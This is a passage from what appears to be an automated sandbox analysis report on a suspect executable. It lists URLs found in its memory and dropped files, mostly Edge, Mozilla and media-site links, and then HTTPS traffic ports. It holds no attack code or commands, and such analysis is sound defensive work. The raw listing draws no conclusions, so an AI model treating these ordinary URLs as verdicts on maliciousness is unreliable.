Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log0.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: HubApps Icons.9.dr, df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.9.dr, df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.9.dr, df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.9.dr, df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log0.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://gaana.com/
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: IEHJDGIDBAAFIDGCGCAK.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://m.kugou.com/
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://m.soundcloud.com/
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://m.vk.com/
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://music.amazon.com
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://music.apple.com
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://music.yandex.com
Source: 000003.log4.9.dr	String found in binary or memory: https://ntp.msn.com/
Source: Session_13377246502646565.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://open.spotify.com
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: JJECFIECBGDGCAAAEHIEGDGCBG.0.dr	String found in binary or memory: https://support.mozilla.org
Source: JJECFIECBGDGCAAAEHIEGDGCBG.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: JJECFIECBGDGCAAAEHIEGDGCBG.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://tidal.com/
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://twitter.com/
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://vibe.naver.com/today
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://web.telegram.org/
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://web.whatsapp.com
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp, IEHJDGIDBAAFIDGCGCAK.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp, IEHJDGIDBAAFIDGCGCAK.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2249472536.00000000010B7000.00000004.00000020.00020000.00000000.sdmp, IDBKKKKK.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.9.dr, content.js.9.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.2249472536.00000000010B7000.00000004.00000020.00020000.00000000.sdmp, IDBKKKKK.0.dr, Web Data.9.dr, GIJEBKEC.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 850f859d-ce8c-487c-8fdb-26819c4f7774.tmp.10.dr	String found in binary or memory: https://www.googleapis.com
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://www.instagram.com
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://www.last.fm/
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://www.messenger.com
Source: JJECFIECBGDGCAAAEHIEGDGCBG.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2581383835.00000000007D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: JJECFIECBGDGCAAAEHIEGDGCBG.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2581383835.00000000007D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.2581383835.00000000007D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: JJECFIECBGDGCAAAEHIEGDGCBG.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2581383835.00000000007D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2464470159.00000000238D0000.00000004.00000020.00020000.00000000.sdmp, JJECFIECBGDGCAAAEHIEGDGCBG.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: JJECFIECBGDGCAAAEHIEGDGCBG.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2464470159.00000000238D0000.00000004.00000020.00020000.00000000.sdmp, JJECFIECBGDGCAAAEHIEGDGCBG.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2581383835.00000000007D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2464470159.00000000238D0000.00000004.00000020.00020000.00000000.sdmp, JJECFIECBGDGCAAAEHIEGDGCBG.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2581383835.00000000007D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://www.office.com
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://www.tiktok.com/
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://www.youtube.com
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
